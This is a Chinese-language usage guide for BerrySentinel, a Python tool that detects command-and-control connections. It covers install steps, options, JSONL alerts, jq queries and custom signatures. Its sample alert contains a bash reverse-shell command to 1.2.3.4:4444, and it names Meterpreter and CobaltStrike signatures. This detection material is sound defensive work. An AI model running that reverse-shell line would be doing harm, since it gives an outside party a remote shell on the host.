╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — 行为C2检测器 · 交互式TUI                              ║
║  连接数: 38 │ 威胁: 2 │ 特征: 1 │ 通过 proc/open+ss │ 12ms │ #47             ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  严重度   分值  PID   进程  远程地址              状态   特征/标签           ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █严重     85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET. ║
║  7  ▲高       52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

# 克隆仓库
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# （可选但推荐）安装psutil
pip install psutil

# 运行
python3 BerrySentinel.py

pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses在Termux上可能不可用

curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

python3 BerrySentinel.py [选项]

选项：
  --all, -a           包含本地/环回连接（除远程外）
  --interval N, -i N  每N秒刷新一次（默认：2，最小：0.5）
  --log FILE, -l FILE 将警报保存到文件中（JSONL格式）
  --json, -j          退出时导出完整JSON
  --whitelist LIST    要忽略的IP或CIDR，用逗号分隔
  --no-color          无ANSI颜色（适用于管道或日志）
  --verbose, -v       显示所有连接，而不仅仅是可疑的
  --top N, -t N       表格最大行数（默认：50）
  --diag, -d          诊断：显示哪些收集方法有效
  --no-tui            无curses的旧版模式（经典滚动，更便携）
  --version, -V       显示版本并退出

# 交互式TUI —— 推荐模式
python3 BerrySentinel.py

# 使用root进行深度扫描（访问进程内存）
sudo python3 BerrySentinel.py --all

# 保存警报并在退出时导出JSON
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# 忽略内部网络并每5秒刷新一次
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# 文本模式，用于脚本或通过SSH且无交互式终端
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# 查看哪些收集方法在当前系统上有效
python3 BerrySentinel.py --diag --no-tui

# 仅严重警报，每10秒更新，保存日志
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

# 仅过滤严重连接
jq 'select(.sev == "CRÍTICO")' sentinel.log

# 查看所有可疑PID
jq '[.pid] | unique' sentinel_export.json

# 按特定特征搜索
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

BerrySentinel.py
├── 全局常量
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Shell和解释器名称
│   ├── C2_SUSPECT_PORTS            — 典型C2端口
│   ├── PRIVATE_NETS                — 私有IP范围
│   └── C2_SIGNATURES               — 已知框架特征
│
├── 数据模型
│   ├── C2Signature   — C2特征定义
│   ├── ProcInfo      — 操作系统进程信息
│   ├── Conn          — 网络连接 + 分析结果
│   └── BeaconTracker — C2信标检测器
│
├── 数据收集
│   ├── Collector     — 协调多个网络来源
│   ├── parse_proc_net_content() — 解析 /proc/net/*
│   ├── build_inode_pid_map()    — inode→PID映射
│   ├── get_proc_info()          — 通过 /proc 获取进程信息
│   └── get_proc_info_psutil()   — 通过 psutil 获取进程信息
│
├── 分析
│   ├── Engine.analyze()    — 行为评分 + 标签
│   ├── Engine._beacon()    — 信标检测
│   └── match_signatures()  — C2特征匹配
│
├── 输出
│   ├── CursesTUI   — 交互式TUI（默认模式）
│   ├── LegacyTUI   — 无curses的ANSI输出（回退）
│   └── Logger      — 磁盘上的JSONL日志
│
└── Sentinel        — 主协调器

from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="未经授权的内部企业RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[警报] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # 添加自己的逻辑
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c